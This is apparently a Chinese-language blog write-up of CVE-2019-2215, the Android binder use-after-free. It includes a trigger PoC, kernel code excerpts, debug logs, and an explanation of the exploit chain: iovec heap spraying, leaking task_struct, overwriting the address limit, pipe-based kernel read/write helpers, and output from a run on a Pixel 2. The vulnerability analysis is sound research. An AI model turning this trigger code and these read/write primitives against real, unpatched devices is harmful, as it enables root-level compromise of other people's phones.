Let_go
人生如棋,我愿为卒。行动虽慢,可谁曾见我后退一步。

CVE-2019-2215

2019/10/08 Android_Kernel

CVE-2019-2215


背景

该漏洞由Google公司的Project Zero小组于2017年末发现,2018年初修复了该漏洞,但2019年9被Google公司的分析小组(TAG)发现较新的android上依然存在该漏洞并确认已应用在实际攻击中。并分配CVE编号CVE-2019-2215。

漏洞成因

前置知识

select函数主要用来监视文件描述符的变化情况,多用于实现非阻塞socket。
poll函数和select实现的功能差不多,但poll效率更高,作用是把当前的文件描述符挂到等待队列。在2.5.44版本后,poll被epoll取代。
epoll机制是Linux内核为了处理大批量文件描述符而作了改进的poll,它显著提高了程序在大量并发连接中只有少量活跃的情况下cpu的利用率。
epoll相关的系统调用如下:

1
2
3
4
epoll_create:用来创建一个epoll文件描述符。
epoll_ctl:用来添加/修改/删除需要侦听的文件描述符。
epoll_wait:接受发生在被监听的描述符上的,用户感兴趣的IO事假。
close:关闭epoll文件描述符。

epoll_ctl函数的控制码如下:

1
2
3
EPOLL_CTL_ADD:在epoll实例上注册目标文件描述符fd。
EPOLL_CTL_MOD:更改与目标文件描述符fd相关的事件。
EPOLL_CTL_DEL:从epoll实例中删除目标文件描述符fd。

漏洞描述

首先我们来看下该漏洞的描述,Android内核的binder驱动中的释放后重引用漏洞。成功利用该漏洞可实现本地权限升级。漏洞成因是我们通过epool_ctl选项EPOLL_CTL_ADD监听binder描述符时,会触发底层函数binder_poll分配一个binder_thread结构体并通过poll_wait函数把binder_thread结构体中的wait元素的地址添加到epoll机制的等待队列中。当别的线程使用BINDER_THREAD_EXIT选项退出binder句柄时,底层函数会去释放掉前面创建的binder_thread结构体的内存,但并不会从相应的等待队列中删除对binder_thread->wait的引用,导致程序退出时epoll清理代码使用binder_thread->wait元素时由于binder_thread结构体已经被释放而导致释放后重引用。

Poc

下面是作者给出的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main(){
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };
fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); /* 触发binder_poll去分配binder_thread结构体 */
ioctl(fd, BINDER_THREAD_EXIT, NULL); /* 触发释放binder_thread结构体 */
}
/* 程序运行结束 会触发清理epoll的代码,导致释放后重引用 */

漏洞原理

大概了解了该漏洞的原理之后,我们来具体分析一下该漏洞,原理挺简单,搞懂UAF我们需要明白3个问题,内存在哪申请,内存在哪释放以及内存在哪重引用。搞清楚这三个问题那么我们也就算搞明白了这个漏洞了。

内存的申请

先来看内存的申请,触发链如下:
epoll_ctl:EPOLL_CTL_ADD -> ep_insert -> ep_item_poll -> binder_poll -> binder_get_thread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
static unsigned int binder_poll(struct file *filp,
struct poll_table_struct *wait){
struct binder_proc *proc = filp->private_data;
struct binder_thread *thread = NULL;
bool wait_for_proc_work;
thread = binder_get_thread(proc); /*获取thread内存*/
if (!thread)
return POLLERR;
binder_inner_proc_lock(thread->proc);
thread->looper |= BINDER_LOOPER_STATE_POLL;
wait_for_proc_work = binder_available_for_proc_work_ilocked(thread);
binder_inner_proc_unlock(thread->proc);
poll_wait(filp, &thread->wait, wait); /*添加thread->wait到等待队列*/
if (binder_has_work(thread, wait_for_proc_work))
return POLLIN;
return 0;
}
static struct binder_thread *binder_get_thread(struct binder_proc *proc){
struct binder_thread *thread;
struct binder_thread *new_thread;
binder_inner_proc_lock(proc);
thread = binder_get_thread_ilocked(proc, NULL);
binder_inner_proc_unlock(proc);
if (!thread) {
new_thread = kzalloc(sizeof(*thread), GFP_KERNEL); /*申请内存*/
if (new_thread == NULL)
return NULL;
binder_inner_proc_lock(proc);
thread = binder_get_thread_ilocked(proc, new_thread); /*初始化并把new_thread赋值给thread*/
binder_inner_proc_unlock(proc);
if (thread != new_thread)
kfree(new_thread);
}
return thread; /*返回新申请的内存*/
}
poll_wait中的回调函数
static void ep_ptable_queue_proc(struct file *file, wait_queue_head_t *whead,
poll_table *pt){
struct epitem *epi = ep_item_from_epqueue(pt);
struct eppoll_entry *pwq;
if (epi->nwait >= 0 && (pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL))) {
init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);
pwq->whead = whead; /*赋值-这里是关键,因为重引用的时候就是通过pwq->whead获取的内存*/
pwq->base = epi;
if (epi->event.events & EPOLLEXCLUSIVE)
add_wait_queue_exclusive(whead, &pwq->wait);
else
add_wait_queue(whead, &pwq->wait);
list_add_tail(&pwq->llink, &epi->pwqlist);
epi->nwait++;
} else {
/* We have to signal that an error occurred */
epi->nwait = -1;
}
}

当我们在用户态使用epoll_ctl函数并且使用EPOLL_CTL_ADD选项时,则可以触发到内核底层binder_poll函数。该函数首先通过binder_get_thread函数去申请一个binder_thread结构体,获取成功之后通过poll_wait函数把binder_thread结构体的wait成员添加到epoll等待队列中(注意这里的添加操作),到此内存分配的流程我们分析完了。
涉及到的binder_thread结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct binder_thread {
struct binder_proc *proc;
struct rb_node rb_node;
struct list_head waiting_thread_node;
int pid;
int looper;
bool looper_need_return;
struct binder_transaction *transaction_stack;
struct list_head todo;
bool process_todo;
struct binder_error return_error;
struct binder_error reply_error;
wait_queue_head_t wait;
struct binder_stats stats;
atomic_t tmp_ref;
bool is_dead;
struct task_struct *task;
};
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;

然后来看下在何时对binder_thread结构体内存进行的释放,通过binder句柄的ioctl接口传入BINDER_THREAD_EXIT选项即可触发内核对binder_thread的释放:
binder_ioctl:BINDER_THREAD_EXIT -> binder_thread_release -> binder_thread_dec_tmpref -> binder_free_thread -> kfree

1
2
3
4
5
6
7
8
static void binder_free_thread(struct binder_thread *thread)
{
BUG_ON(!list_empty(&thread->todo));
binder_stats_deleted(BINDER_STAT_THREAD);
binder_proc_dec_tmpref(thread->proc);
put_task_struct(thread->task);
kfree(thread);
}

最后再来看一下binder_thread结构体内存在哪做了重引用了:
.release -> ep_eventpoll_release -> ep_free -> ep_unregister_pollwait -> ep_remove_wait_queue -> remove_wait_queue

1
2
3
4
5
6
7
8
9
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
wait_queue_head_t *whead;
rcu_read_lock();
whead = smp_load_acquire(&pwq->whead);
if (whead)
remove_wait_queue(whead, &pwq->wait);
rcu_read_unlock();
}

在对epoll句柄做release操作时会调用到ep_eventpoll_release函数,底层会执行到ep_remove_wait_queue函数,函数内通过pwq->whead获取到前面的binder_thread结构体的wait成员,然后执行链表删除操作。因为前面已经释放了binder_thread结构体,所以这里的wait引用就是释放后重引用。
后来通过对内核代码的分析知道我们也可以通过epoll_ctl函数的EPOLL_CTL_DEL选项去主动触发ep_eventpoll_release的调用触发释放后重引用,调用链如下。
epoll_ctl:EPOLL_CTL_DEL -> ep_remove -> ep_unregister_pollwait -> ep_remove_wait_queue -> remove_wait_queue
从等待队列中删除一个节点的流程如下:

1
2
3
4
5
6
7
<4>[ 134.391555] c3 2145
<4>[ 134.391555] c3 2145 -1-[cve_2215_poc]- binder_poll- &thread->wait:0xffffffebc7020020
<4>[ 134.391555] c3 2145
<4>[ 134.391555] c3 2145 -1-[cve_2215_poc]- remove_wait_queue- q:0xffffffebc7020020 q->lock:0x30002 q->task_list:0xffffffebc7020028 q->task_list.next:0xffffffeb3516be60 q->task_list.prev:0xffffffeb3516be60 (q+0x18):0xffffffebb923b800
<4>[ 136.605430] c3 2145 -2-[cve_2215_poc]- remove_wait_queue- wait->task_list:0xffffffeb3516be60 task_list.next:0xffffffebc7020028 task_list.prev:0xffffffebc7020028
<4>[ 136.608541] c3 2145 -3-[cve_2215_poc]- remove_wait_queue- q:0xffffffebc7020020 q->lock:0x30002 q->task_list:0xffffffebc7020028 q->task_list.next:0xffffffebc7020028 q->task_list.prev:0xffffffebc7020028 (q+0x18):0xffffffebb923b800
<4>[ 136.609702] c3 2145 -4-[cve_2215_poc]- remove_wait_queue- wait->task_list:0xffffffeb3516be60 task_list.next:0xdead000000000100 task_list.prev:0xdead000000000200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait){
unsigned long flags;
spin_lock_irqsave(&q->lock, flags);
__remove_wait_queue(q, wait);
spin_unlock_irqrestore(&q->lock, flags);
}
static inline void
__remove_wait_queue(wait_queue_head_t *head, wait_queue_t *old){
list_del(&old->task_list);
}
static inline void list_del(struct list_head *entry){
__list_del(entry->prev, entry->next);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}
void __list_del(struct list_head *prev, struct list_head *next){
next->prev = prev;
prev->next = next;
}

总结一下触发流程:binder_thread申请->binder_thread释放->binder_thread->wait重引用

补丁用意

linux补丁官网上在2017年12月份就修复了,但是怎么android又报了出来呢?
Syzboot日志
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b
如果这个线程使用了poll,确保我们从任何epoll的数据结构中移除带有POLLFREE的等待队列,waitqueue_active是安全的,因为我们要保持内锁在这里使用。

漏洞利用

漏洞利用思路

下面参考着文末贴出的Exp分析一下该漏洞的利用思路,利用分两步:
1.通过漏洞获取当前进程的task_struct地址。
2.利用前面获取的task_struct计算出进程limit的值,通过漏洞修改进程limit的值,实现内核的任意读写。

泄漏task_struct地址

内核地址读,思路:首先利用BINDER_THREAD_EXIT选项触发binder_thread结构体的释放,接着创建一对pipe读写句柄,利用聚合写writev函数对pipefd[1]进行写操作,写入一组我们准备好的iovec数组到内核态去占位前面释放的binder_thread结构体。因为其中有两个iovec结构体刚好能与释放的binder_thread->wait元素重合,所以使用epoll_ctl的EPOLL_CTL_DEL选项触发重引用的链表删除操作时,刚好可以把重合的第二个iovec结构体的iovec.iov_base的值改为binder_thread->wait.task_list的地址。此时用户态通过read去读取数据时,实际读取的就是iovec.base指向的内存,这样就可以从binder_thread->wait.task_list开始读取。读取的长度由iovec->iov_len控制,该长度由我们可控,这就实现了内核读的效果。

1
2
3
4
struct iovec{
void __user *iov_base;
__kernel_size_t iov_len;
};

来看一下具体实现:
漏洞触发前的内存布局.png

1
2
3
4
5
6
7
<4>[ 188.781784] c3 4058
<4>[ 188.781784] c3 4058 -1-[cve_2215_poc]- binder_poll- &thread->wait:0xffffffd7b7a3dea0
<4>[ 188.781784] c3 4058
<4>[ 188.781784] c3 4058 -1-[cve_2215_poc]- remove_wait_queue- q:0xffffffd7b7a3dea0 q->lock:0x100010000 q->task_list:0xffffffd7b7a3dea8 q->task_list.next:0x1000 q->task_list.prev:0xdeadbeef (q+0x18):0x1000
<4>[ 190.809424] c3 4058 -2-[cve_2215_poc]- remove_wait_queue- wait->task_list:0xffffffd86c38ed20 task_list.next:0xffffffd7b7a3dea8 task_list.prev:0xffffffd7b7a3dea8
<4>[ 190.809471] c3 4058 -3-[cve_2215_poc]- remove_wait_queue- q:0xffffffd7b7a3dea0 q->lock:0x100010000 q->task_list:0xffffffd7b7a3dea8 q->task_list.next:0xffffffd7b7a3dea8 q->task_list.prev:0xffffffd7b7a3dea8 (q+0x18):0x1000
<4>[ 190.809498] c3 4058 -4-[cve_2215_poc]- remove_wait_queue- wait->task_list:0xffffffd86c38ed20 task_list.next:0xdead000000000100 task_list.prev:0xdead000000000200

触发漏洞后的内存布局.png
以上是调试数据,可以看到当执行到remove_wait_queue的时候,参数q指向的task_list地址为0xffffffd7b7a3dea0,正好就是binder_poll中thread->wait的首地址,并且根据q->lock的内容为0x100010000可以确定我们用户态数据的占位是成功的,参数wait指向的task_list地址为0xffffffd86c38ed20,wait->task_list.next与wait->task_list.next都指向q->task_list,因为这task_list链表只有两个节点,所以通过链表删除操作之后则把q->task_list.next和q->task_list.prev都改为了0xffffffd7b7a3dea8(q->task_list的地址),而task_list.next,task_list.prev分别对应上与binder_thread->wait重叠的第一个iovec的iov_len元素以及第二个iovec的iov_base,最后当用户态read的时候就会从第二个iovec的iov_base(0xffffffd7b7a3dea8)开始读iovec.iov_len的长度到用户态内存,这样我们就成功泄漏了内核数据,泄漏的数据偏移0xe8(pxiel2上面)刚好就是当前进程的task_struct结构体的地址。

修改limit值

内核地址任意写,思路:通过上一步的内核读有了当前进程的task结构体那么下一步怎么提权呢?此时还需要构造一个内核写,通过内核写去修改进程limit的值,这样就能实现内核任意地址读写的效果。
首先还是需要先触发binder_thread结构体的释放。不过这次是通过socketpair函数创建一对匿名已连接套接字,通过recvmsg函数对socks[0]做接收操作,传入的参数2是一个msghdr结构体,msghdr.msg_iov指向的是我们准备好的iovec数组,让这组iovec数组去内核中占位前面释放的binder_thread结构体。iovec数组中有两个iovec刚好能与binder_thread->wait元素重合,然后使用epoll_ctl的EPOLL_CTL_DEL选项触发重引用的链表删除操作,把重合的第二个iovec结构体的iovec.iov_base的值改为binder_thread->wait.task_list的地址,再利用用户态调用write函数把需要覆盖的数据写入到socks[1]。当socks[1]中有数据的时候,recvmsg则把读取到的数据写入到iovec数组的每个iovec结构体的iov_base指向的内存,因为前面已经利用漏洞把重合的第二个iovec结构体的iovec.iov_base修改成了binder_thread->wait.task_list的地址,所以这里会直接把伪造数据写入到binder_thread->wait.task_list的地址,从而实现对指定内核地址写的操作。

1
2
3
4
5
6
7
8
9
struct msghdr {
void *msg_name; /* ptr to socket address structure */
int msg_namelen; /* size of socket address structure */
struct iovec *msg_iov; /* scatter/gather array */
__kernel_size_t msg_iovlen; /* # elements in msg_iov */
void *msg_control; /* ancillary data */
__kernel_size_t msg_controllen; /* ancillary data buffer length */
unsigned int msg_flags; /* flags on received message */
};

具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<4>[ 1150.931303] c3 4164 -1-[cve_2215_poc]- binder_poll- &thread->wait:0xffffffcc03dfeca0
<4>[ 1150.931303] c3 4164 -1-[cve_2215_poc]- unix_stream_read_generic->>>>
<4>[ 1150.932519] c3 4164 -1-[cve_2215_poc]- skb_copy_datagram_iter->>>>
<4>[ 1150.932593] c3 4164
<4>[ 1150.932593] c3 4164 -1-[cve_2215_poc]- copy_to_iter- addr:58 bytes:0x1 i->count:0x31 i->iov:0xffffffcc03dfec00 i->nr_segs:0x19
<4>[ 1150.932650] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:0:58
<4>[ 1150.932677] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:1:f6
<4>[ 1152.937025] c3 4164
<4>[ 1152.937025] c3 4164 -1-[cve_2215_poc]- skb_copy_datagram_iter->>>>
<4>[ 1152.937149] c3 4164
<4>[ 1152.937149] c3 4164 -1-[cve_2215_poc]- copy_to_iter- addr:1 bytes:0x30 i->count:0x30 i->iov:0xffffffcc03dfecb0 i->nr_segs:0xe
<4>[ 1152.937207] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:0:1
<4>[ 1152.937236] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:1:0
<4>[ 1152.937263] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:2:0
<4>[ 1152.937291] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:3:0
<4>[ 1152.937318] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:4:0
<4>[ 1152.937345] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:5:0
<4>[ 1152.937372] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:6:0
<4>[ 1152.937399] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:7:0
<4>[ 1152.937427] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:8:ef
<4>[ 1152.937456] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:9:be
<4>[ 1152.937484] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:a:ad
<4>[ 1152.937512] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:b:de
<4>[ 1152.937539] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:c:0
<4>[ 1152.937567] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:d:0
<4>[ 1152.937595] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:e:0
<4>[ 1152.937622] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:f:0
<4>[ 1152.937649] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:10:28
<4>[ 1152.937678] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:11:0
<4>[ 1152.937706] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:12:0
<4>[ 1152.937733] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:13:0
<4>[ 1152.937761] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:14:0
<4>[ 1152.937789] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:15:0
<4>[ 1152.937817] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:16:0
<4>[ 1152.937845] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:17:0
<4>[ 1152.937873] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:18:8
<4>[ 1152.937901] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:19:2a
<4>[ 1152.937928] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:1a:e4
<4>[ 1152.937955] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:1b:a9
<4>[ 1152.937983] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:1c:cc
<4>[ 1152.938010] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:1d:ff
<4>[ 1152.938038] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:1e:ff
<4>[ 1152.938065] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:1f:ff
<4>[ 1152.938092] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:20:8
<4>[ 1152.938120] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:21:0
<4>[ 1152.938147] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:22:0
<4>[ 1152.938176] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:23:0
<4>[ 1152.938203] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:24:0
<4>[ 1152.938231] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:25:0
<4>[ 1152.938258] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:26:0
<4>[ 1152.938285] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:27:0
<4>[ 1152.938312] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:28:fe
<4>[ 1152.938340] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:29:ff
<4>[ 1152.938368] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:2a:ff
<4>[ 1152.938396] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:2b:ff
<4>[ 1152.938424] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:2c:ff
<4>[ 1152.938451] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:2d:ff
<4>[ 1152.938479] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:2e:ff
<4>[ 1152.938507] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:2f:ff
<4>[ 1152.938534] c3 4164 -2-[cve_2215_poc]- copy_to_iter- addr:30:0
<4>[ 1152.938559] c3 4164
^C
130|walleye:/ #

以上为调试信息,通过日志可以看到,内核一共调用了两次skb_copy_datagram_iter函数,该函数是把通过套接字接收到的数据写到msghdr.msg_iov指向的iovec结构体数组的iov_base元素指向的内存中,属于recvmsg的底层函数。
漏洞触发前的内存布局.png
第一次是把’X’(0x58)写到地址0xffffffcc03dfeca0中的指针指向的内存中。
第二次则比较精巧,共写0x30个字节的数据,但分两次写。触发漏洞后的内存布局.png首先取0xffffffcc03dfecb0中的值并把取得的指针用作写入地址写入0x28(0x8+20x10)个字节的数据。这里的0xffffffcc03dfecb0刚好是binder_thread->wait.task_list.prev的地址,因为漏洞的原因task_list.prev的值被修改为了task_list地址(0xffffffcc03dfeca8),这就相当于对binder_thread->wait.task_list做写操作,写入的数据如上所示(用户态写入的伪造数据)。因为只写0x28(0x8+20x10)个字节,所以末尾的0xfffffffffffffffe并不会在这次写入,这次覆盖只是为了去把我们伪造的内核地址写到0xffffffcc03dfecc0内存中。
写入伪造数据后的布局.png
第二次写剩下的8个字节,因为0xffffffcc03dfecc0也属于一个iov_base,并且0xfffffffffffffffe还没开始写,所以最后的0xfffffffffffffffe就被写到前面覆盖的内核地址指向的内存中,因为这里使用的内核地址指向的是进程limit,所以实现了对进程limit的修改。
这里的写操作还是挺巧妙的,不得不佩服作者。

1
2
3
4
日志代码格式
if(!strcmp("cve-xxx-xxx",get_current()->comm)){
...
}
内核任意读写

最后我们成功修改当前进程的limit之后就可以通过pipe组合对内核内存任意读写了,有了任意读写则可以修改关键结构体达到提权的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int kernel_rw_pipe[2];
/* 内核任意写操作 */
void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer");
if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory");
}
/* 内核任意读操作 */
void kernel_read(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory");
if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace");
}

Poc测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
walleye:/data/local/tmp $ uname -a
Linux localhost 4.4.116-gbcd0ecccd040-dirty #27 SMP PREEMPT Fri Jun 28 20:34:56 CST 2019 aarch64
walleye:/data/local/tmp $ ./CVE-2019-2215
Starting POC
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x2000
PARENT: Finished calling READV
current_ptr == 0xffffffd790a9f000
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
recvmsg() returns 49, expected 49
should have stable kernel R/W now
current->mm == 0xffffffd7b358c780
current->mm->user_ns == 0xffffff9ae6daf1c8
kernel base is 0xffffff9ae4c80000
&init_task == 0xffffff9ae6da57d0
init_task.cred == 0xffffff9ae6db0a08
current->cred == 0xffffffd7ac1bc0c0
walleye:/data/local/tmp $ uname -a
Linux localhost 4.4.116-gbcd0ecccd040-dirty EXPLOITED KERNEL aarch64
walleye:/data/local/tmp $

总结思考

最后总结一下本次的UAF漏洞模型,动态申请的结构体变量的引用被添加到链表中,但在释放该结构体内存时并没有从链表中删除该变量的引用,导致利用该节点时出现释放后重引用的问题。一般这种链表拆卸漏洞最有可能出现内核地址任意读写漏洞。
申请对象内存->添加到链表->释放内存->通过链表访问对象

时间线

1
2
3
2017-12-12 通过syzkaller发现该漏洞
2018-02-03 Linux修复该漏洞
2019-09-26 Google公司Project Zero小组发现并提交漏洞

相关资料

公开链接
补丁
Exploit
RootDemo
RootDemo

Author: Let_go

Link: http://github.com/2019/10/08/CVE-2019-2215/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
StrandHogg漏洞-Activity劫持
NextPost >
CVE-2018-18281
CATALOG
  1. 1. CVE-2019-2215
    1. 1.0.1. 背景
    2. 1.0.2. 漏洞成因
      1. 1.0.2.1. 前置知识
      2. 1.0.2.2. 漏洞描述
      3. 1.0.2.3. Poc
      4. 1.0.2.4. 漏洞原理
      5. 1.0.2.5. 内存的申请
      6. 1.0.2.6. 补丁用意
    3. 1.0.3. 漏洞利用
      1. 1.0.3.1. 漏洞利用思路
        1. 1.0.3.1.1. 泄漏task_struct地址
        2. 1.0.3.1.2. 修改limit值
        3. 1.0.3.1.3. 内核任意读写
      2. 1.0.3.2. Poc测试
    4. 1.0.4. 总结思考
    5. 1.0.5. 时间线
    6. 1.0.6. 相关资料